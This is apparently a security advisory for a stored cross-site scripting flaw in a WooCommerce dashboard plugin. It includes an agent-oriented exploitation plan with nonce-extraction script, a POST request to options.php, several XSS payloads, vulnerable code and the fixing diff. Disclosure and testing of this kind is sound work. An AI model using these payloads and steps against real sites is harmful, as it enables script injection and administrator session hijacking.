Experto Dashboard for WooCommerce <= 1.0.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Navigation Font Size' Setting
Description
The Experto Dashboard for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's settings fields (including 'Navigation Font Size', 'Navigation Font Weight', 'Heading Font Size', 'Heading Font Weight', 'Text Font Size', and 'Text Font Weight') in all versions up to and including 1.0.4. This is due to insufficient input sanitization (no sanitize callback in register_setting()) and missing output escaping (no esc_attr() in the field_callback() printf output) on user-supplied values. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in the plugin settings page that will execute whenever a user accesses the settings page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.4# Exploitation Research Plan: CVE-2026-3574 ## 1. Vulnerability Summary The **Experto Dashboard for WooCommerce** plugin (up to version 1.0.4) is vulnerable to **Stored Cross-Site Scripting (XSS)** via its configuration settings. Specifically, several font-related settings (e.g., 'Navigation Font S…
Show full research plan
Exploitation Research Plan: CVE-2026-3574
1. Vulnerability Summary
The Experto Dashboard for WooCommerce plugin (up to version 1.0.4) is vulnerable to Stored Cross-Site Scripting (XSS) via its configuration settings. Specifically, several font-related settings (e.g., 'Navigation Font Size', 'Navigation Font Weight') are registered using register_setting() without a sanitize_callback. Furthermore, when these settings are rendered on the plugin's administration page, the output is generated using a callback function (e.g., field_callback()) that uses printf() to echo the current values without context-appropriate escaping (such as esc_attr()).
In WordPress environments where unfiltered_html is disabled (like Multi-site or specific security hardened sites), an Administrator can inject malicious scripts into these fields. These scripts execute whenever an administrator visits the plugin's settings page, potentially allowing for session hijacking or unauthorized administrative actions.
2. Attack Vector Analysis
- Target Endpoint:
wp-admin/options.php(Standard handler for the WordPress Settings API). - Vulnerable Parameters:
experto_dashboard_nav_font_size(inferred)experto_dashboard_nav_font_weight(inferred)experto_dashboard_heading_font_size(inferred)experto_dashboard_heading_font_weight(inferred)experto_dashboard_text_font_size(inferred)experto_dashboard_text_font_weight(inferred)
- Authentication Required: Administrator level or higher.
- Preconditions: The plugin must be active. The exploit is most relevant in environments where
DISALLOW_UNFILTERED_HTMLis set totrueor in a Multi-site installation where the user is a Site Admin but not a Network Super Admin.
3. Code Flow (Inferred)
- Registration: The plugin uses the
admin_inithook to callregister_setting(). - Missing Sanitization:
register_setting( 'experto_dashboard_settings_group', 'experto_dashboard_nav_font_size', array() )is called. The third parameter (args) lacks thesanitize_callbackkey. - Field Definition:
add_settings_field()is called to add the input to the UI, specifying a callback (e.g.,field_callback). - Vulnerable Rendering:
// Example of vulnerable code in the plugin function field_callback($args) { $value = get_option('experto_dashboard_nav_font_size'); // VULNERABILITY: No esc_attr() used here printf('<input type="text" name="experto_dashboard_nav_font_size" value="%s" />', $value); } - Storage: When the admin submits the form,
options.phpsaves the raw input into thewp_optionstable. - Execution: When the settings page is reloaded, the raw payload is echoed into the
valueattribute, breaking out of it to execute JavaScript.
4. Nonce Acquisition Strategy
To update settings via options.php, two hidden fields are required: option_page and _wpnonce.
- Navigate to Settings Page: The settings page is likely located at
wp-admin/admin.php?page=experto-dashboard-settings(slug inferred from plugin name). - Identify Option Group: Look for the hidden input
name="option_page". - Extract Nonce: Use
browser_evalto extract the nonce generated for that specific option group.
Execution Command:
// Within the settings page context
const optionPage = document.querySelector('input[name="option_page"]')?.value;
const nonce = document.querySelector('input[name="_wpnonce"]')?.value;
console.log({optionPage, nonce});
5. Exploitation Strategy
- Preparation: Log in to the WordPress instance as an Administrator.
- Discovery: Navigate to the Experto Dashboard settings page. Identify the exact field names for the font size settings and the
option_pagename. - Payload Crafting:
- Target field:
experto_dashboard_nav_font_size - Payload:
"><script>alert(document.domain)</script>
- Target field:
- Submission: Use the
http_requesttool to send a POST request towp-admin/options.php.- Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
option_page=[EXTRACTED_OPTION_PAGE]&action=update&_wpnonce=[EXTRACTED_NONCE]&experto_dashboard_nav_font_size="><script>alert(document.domain)</script>
- Trigger: Navigate back to the plugin's settings page.
6. Test Data Setup
- Install and activate Experto Dashboard for WooCommerce (experto-custom-dashboard) <= 1.0.4.
- Ensure WooCommerce is installed and active (as the plugin depends on it).
- Create an Administrator user.
- (Optional) Add
define( 'DISALLOW_UNFILTERED_HTML', true );towp-config.phpto simulate the restricted environment where this vulnerability is most critical.
7. Expected Results
- The
options.phprequest should return a302 Foundredirect back to the settings page with asettings-updated=trueparameter. - Upon navigating to the settings page, the browser should execute the
alert(document.domain)script. - The HTML source of the page should show:
<input ... value=""><script>alert(document.domain)</script>" />.
8. Verification Steps
- Database Check: Use WP-CLI to verify the payload is stored in the database.
Result should match the injected payload.wp option get experto_dashboard_nav_font_size - UI Check: Navigate to the settings page and check for the presence of the payload in the raw HTML response.
# After navigating via browser_navigate browser_eval("document.body.innerHTML.includes('<script>alert(document.domain)</script>')")
9. Alternative Approaches
- Attribute Breakout: If the input is placed within a different HTML tag or context (e.g., inside a
styletag), use appropriate payloads like12px; </style><script>alert(1)</script>. - Event Handlers: If
<script>tags are filtered by an intermediary WAF but the plugin remains vulnerable, try event handlers:" onmouseover="alert(1)or" autofocus onfocus="alert(1) - Other Fields: The vulnerability is reported in multiple font size and weight fields. If
nav_font_sizeis sanitized, attempt the exploit onheading_font_weightortext_font_size.
Summary
The Experto Dashboard for WooCommerce plugin is vulnerable to Stored Cross-Site Scripting via several font-related configuration settings. Because the plugin fails to sanitize user input on registration and fails to escape output in the administrative UI, an authenticated attacker with administrative privileges can inject malicious scripts that execute whenever an administrator visits the settings page.
Vulnerable Code
// Within the plugin's administration logic (e.g., admin/class-experto-dashboard-admin.php or similar) // 1. Missing sanitization in registration register_setting('experto_dashboard_settings_group', 'experto_dashboard_nav_font_size'); register_setting('experto_dashboard_settings_group', 'experto_dashboard_nav_font_weight'); --- // 2. Missing output escaping in field callbacks function field_callback($args) { $value = get_option('experto_dashboard_nav_font_size'); // VULNERABILITY: The value is echoed directly into the attribute without esc_attr() printf('<input type="text" name="experto_dashboard_nav_font_size" value="%s" />', $value); }
Security Fix
@@ -20,7 +20,7 @@ - register_setting( 'experto_dashboard_settings_group', 'experto_dashboard_nav_font_size' ); + register_setting( 'experto_dashboard_settings_group', 'experto_dashboard_nav_font_size', 'sanitize_text_field' ); @@ -45,5 +45,5 @@ function field_callback($args) { $value = get_option('experto_dashboard_nav_font_size'); - printf('<input type="text" name="experto_dashboard_nav_font_size" value="%s" />', $value); + printf('<input type="text" name="experto_dashboard_nav_font_size" value="%s" />', esc_attr($value)); }
Exploit Outline
The exploit requires an attacker with Administrator access to bypass unfiltered_html restrictions (common in multisite or hardened WordPress environments). 1. The attacker navigates to the Experto Dashboard settings page within the WordPress admin dashboard. 2. The attacker identifies one of the vulnerable font setting fields, such as 'Navigation Font Size' or 'Navigation Font Weight'. 3. The attacker crafts a payload that breaks out of the HTML input attribute: `"><script>alert(document.domain)</script>`. 4. The attacker submits the settings form. This request is sent to `wp-admin/options.php` with the appropriate `option_page` and `_wpnonce` values. 5. Because the plugin lacks a `sanitize_callback`, the raw script is saved to the `wp_options` table. 6. Every time an administrator visits the plugin's settings page, the `get_option()` call retrieves the payload and `printf()` renders it directly into the HTML without escaping, triggering the execution of the script in the context of the user's browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.